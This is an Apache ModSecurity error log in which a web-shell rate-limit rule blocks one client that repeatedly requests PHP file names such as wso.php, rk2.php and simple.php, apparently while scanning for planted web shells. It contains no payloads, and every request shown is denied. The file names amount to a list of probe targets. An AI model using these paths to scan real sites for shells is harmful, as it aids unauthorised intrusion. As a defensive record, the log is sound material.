[Mon Dec 08 21:18:15.172603 2025] [:error] [pid 50569:tid 50594] [client 4.190.217.206:11233] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aTbQF_HhZxyKreYmWzKtQAAAABY"]
[Mon Dec 08 21:18:15.416424 2025] [:error] [pid 48481:tid 48488] [client 4.190.217.206:11138] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aTbQFye0pzx5KCi3S0IafwAAAMM"]
[Mon Dec 08 21:18:15.716840 2025] [:error] [pid 48481:tid 48489] [client 4.190.217.206:19813] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aTbQFye0pzx5KCi3S0IagAAAAMQ"]
[Mon Dec 08 21:18:15.957434 2025] [:error] [pid 48573:tid 48595] [client 4.190.217.206:11025] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aTbQF1Iayuqwlm3CEkaE2QAAAVQ"]
[Mon Dec 08 21:18:38.117456 2025] [:error] [pid 48541:tid 48549] [client 4.190.217.206:11213] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aTbQLgSNhJPArxLCdWH7dgAAAQY"]
[Mon Dec 08 21:18:38.357384 2025] [:error] [pid 48481:tid 48494] [client 4.190.217.206:11142] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aTbQLie0pzx5KCi3S0IaoQAAAMk"]
[Mon Dec 08 21:18:38.597754 2025] [:error] [pid 48573:tid 48586] [client 4.190.217.206:11185] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aTbQLlIayuqwlm3CEkaE_gAAAUs"]
[Mon Dec 08 21:18:38.838121 2025] [:error] [pid 48573:tid 48577] [client 4.190.217.206:11250] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aTbQLlIayuqwlm3CEkaE_wAAAUI"]
[Mon Dec 08 21:18:39.079580 2025] [:error] [pid 48481:tid 48505] [client 4.190.217.206:11194] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aTbQLye0pzx5KCi3S0IapAAAANQ"]
[Mon Dec 08 21:18:39.320952 2025] [:error] [pid 48481:tid 48497] [client 4.190.217.206:11188] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aTbQLye0pzx5KCi3S0IapgAAAMw"]
[Mon Dec 08 21:18:39.561598 2025] [:error] [pid 50569:tid 50590] [client 4.190.217.206:11075] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aTbQL_HhZxyKreYmWzKtaQAAABI"]
[Mon Dec 08 21:18:39.801566 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11155] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aTbQL_HhZxyKreYmWzKtawAAABQ"]
[Mon Dec 08 21:18:40.101975 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:11136] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aTbQMFIayuqwlm3CEkaFAQAAAVU"]
[Mon Dec 08 21:18:40.361681 2025] [:error] [pid 48573:tid 48585] [client 4.190.217.206:11163] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aTbQMFIayuqwlm3CEkaFAgAAAUo"]
[Mon Dec 08 21:18:40.606754 2025] [:error] [pid 50569:tid 50572] [client 4.190.217.206:11091] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aTbQMPHhZxyKreYmWzKtbQAAAAA"]
[Mon Dec 08 21:18:40.852494 2025] [:error] [pid 48481:tid 48495] [client 4.190.217.206:11089] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/al.php"] [unique_id "aTbQMCe0pzx5KCi3S0IaqAAAAMo"]
[Mon Dec 08 21:18:41.092001 2025] [:error] [pid 48482:tid 48536] [client 4.190.217.206:11167] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aTbQMX23gV7gRu3vn82CmAAAAJg"]
[Mon Dec 08 21:18:41.393266 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:11022] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aTbQMX23gV7gRu3vn82CmgAAAI8"]
[Mon Dec 08 21:18:41.697038 2025] [:error] [pid 48573:tid 48583] [client 4.190.217.206:11036] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aTbQMVIayuqwlm3CEkaFBgAAAUg"]
[Mon Dec 08 21:18:41.952201 2025] [:error] [pid 48481:tid 48493] [client 4.190.217.206:11063] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aTbQMSe0pzx5KCi3S0IaqQAAAMg"]
[Mon Dec 08 21:18:42.192413 2025] [:error] [pid 48481:tid 48500] [client 4.190.217.206:11108] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aTbQMie0pzx5KCi3S0IaqgAAAM8"]
[Mon Dec 08 21:18:42.497025 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11156] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aTbQMvHhZxyKreYmWzKtbwAAAA4"]
[Mon Dec 08 21:18:42.737002 2025] [:error] [pid 48573:tid 48592] [client 4.190.217.206:11095] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aTbQMlIayuqwlm3CEkaFBwAAAVE"]
[Mon Dec 08 21:18:42.976930 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:11235] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aTbQMvHhZxyKreYmWzKtcQAAAAs"]
[Mon Dec 08 21:18:43.217586 2025] [:error] [pid 50569:tid 50595] [client 4.190.217.206:11092] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aTbQM_HhZxyKreYmWzKtcgAAABc"]
[Mon Dec 08 21:18:43.457155 2025] [:error] [pid 48541:tid 48547] [client 4.190.217.206:11023] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aTbQMwSNhJPArxLCdWH7eAAAAQQ"]
[Mon Dec 08 21:18:43.758654 2025] [:error] [pid 48481:tid 48486] [client 4.190.217.206:11020] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aTbQMye0pzx5KCi3S0IarAAAAME"]
[Mon Dec 08 21:18:43.997933 2025] [:error] [pid 48541:tid 48564] [client 4.190.217.206:11232] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aTbQMwSNhJPArxLCdWH7eQAAARU"]
[Mon Dec 08 21:18:44.238319 2025] [:error] [pid 48541:tid 48567] [client 4.190.217.206:11126] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aTbQNASNhJPArxLCdWH7egAAARg"]
[Mon Dec 08 21:18:44.479414 2025] [:error] [pid 48541:tid 48559] [client 4.190.217.206:11172] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aTbQNASNhJPArxLCdWH7fAAAARA"]
[Mon Dec 08 21:18:44.720378 2025] [:error] [pid 48481:tid 48499] [client 4.190.217.206:11259] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aTbQNCe0pzx5KCi3S0IarQAAAM4"]
[Mon Dec 08 21:18:44.961268 2025] [:error] [pid 48481:tid 48501] [client 4.190.217.206:11174] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aTbQNCe0pzx5KCi3S0IargAAANA"]
[Mon Dec 08 21:18:45.203843 2025] [:error] [pid 48481:tid 48503] [client 4.190.217.206:11014] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTbQNSe0pzx5KCi3S0IasQAAANI"]
[Mon Dec 08 21:18:45.443477 2025] [:error] [pid 48481:tid 48485] [client 4.190.217.206:11009] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTbQNSe0pzx5KCi3S0IatAAAAMA"]
[Mon Dec 08 21:18:45.683924 2025] [:error] [pid 48541:tid 48551] [client 4.190.217.206:11078] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTbQNQSNhJPArxLCdWH7fwAAAQg"]
[Mon Dec 08 21:18:45.924033 2025] [:error] [pid 48541:tid 48555] [client 4.190.217.206:11074] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTbQNQSNhJPArxLCdWH7gAAAAQw"]
[Mon Dec 08 21:18:46.164306 2025] [:error] [pid 50569:tid 50585] [client 4.190.217.206:11139] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aTbQNvHhZxyKreYmWzKtdgAAAA0"]
[Mon Dec 08 21:18:46.404096 2025] [:error] [pid 48541:tid 48550] [client 4.190.217.206:11012] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aTbQNgSNhJPArxLCdWH7gwAAAQc"]
[Mon Dec 08 21:18:46.643589 2025] [:error] [pid 48573:tid 48581] [client 4.190.217.206:11132] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aTbQNlIayuqwlm3CEkaFCwAAAUY"]
[Mon Dec 08 21:18:46.883643 2025] [:error] [pid 48541:tid 48553] [client 4.190.217.206:10950] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aTbQNgSNhJPArxLCdWH7hQAAAQo"]
[Mon Dec 08 21:18:47.123751 2025] [:error] [pid 48541:tid 48546] [client 4.190.217.206:11198] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTbQNwSNhJPArxLCdWH7hgAAAQM"]
[Mon Dec 08 21:18:47.423864 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11184] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTbQN_HhZxyKreYmWzKtdwAAAA4"]
[Mon Dec 08 21:18:47.664249 2025] [:error] [pid 50569:tid 50579] [client 4.190.217.206:11112] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTbQN_HhZxyKreYmWzKteAAAAAc"]
[Mon Dec 08 21:18:47.904965 2025] [:error] [pid 50569:tid 50574] [client 4.190.217.206:11125] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTbQN_HhZxyKreYmWzKtegAAAAI"]
[Mon Dec 08 21:18:48.148606 2025] [:error] [pid 50569:tid 50577] [client 4.190.217.206:11160] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aTbQOPHhZxyKreYmWzKtfAAAAAU"]
[Mon Dec 08 21:18:48.392362 2025] [:error] [pid 50569:tid 50584] [client 4.190.217.206:11019] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aTbQOPHhZxyKreYmWzKtfgAAAAw"]
[Mon Dec 08 21:18:48.710635 2025] [:error] [pid 48482:tid 48520] [client 4.190.217.206:11096] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aTbQOH23gV7gRu3vn82CoAAAAIg"]
[Mon Dec 08 21:18:48.951209 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11031] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aTbQOPHhZxyKreYmWzKtgAAAAAM"]
[Mon Dec 08 21:18:49.193161 2025] [:error] [pid 48541:tid 48552] [client 4.190.217.206:11154] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aTbQOQSNhJPArxLCdWH7jAAAAQk"]
[Mon Dec 08 21:18:49.433067 2025] [:error] [pid 48573:tid 48592] [client 4.190.217.206:11098] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aTbQOVIayuqwlm3CEkaFEAAAAVE"]
[Mon Dec 08 21:18:49.672313 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:11011] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aTbQOX23gV7gRu3vn82CoQAAAI8"]
[Mon Dec 08 21:18:49.913477 2025] [:error] [pid 48541:tid 48554] [client 4.190.217.206:11164] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aTbQOQSNhJPArxLCdWH7jgAAAQs"]
[Mon Dec 08 21:18:50.160999 2025] [:error] [pid 48573:tid 48591] [client 4.190.217.206:11192] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aTbQOlIayuqwlm3CEkaFEgAAAVA"]
[Mon Dec 08 21:18:50.463349 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:11090] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aTbQOlIayuqwlm3CEkaFEwAAAU4"]
[Mon Dec 08 21:18:50.712598 2025] [:error] [pid 48573:tid 48593] [client 4.190.217.206:11116] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aTbQOlIayuqwlm3CEkaFFgAAAVI"]
[Mon Dec 08 21:18:50.951790 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:11120] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aTbQOvHhZxyKreYmWzKtggAAAAQ"]
[Mon Dec 08 21:18:51.252386 2025] [:error] [pid 50569:tid 50573] [client 4.190.217.206:11115] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTbQO_HhZxyKreYmWzKtgwAAAAE"]
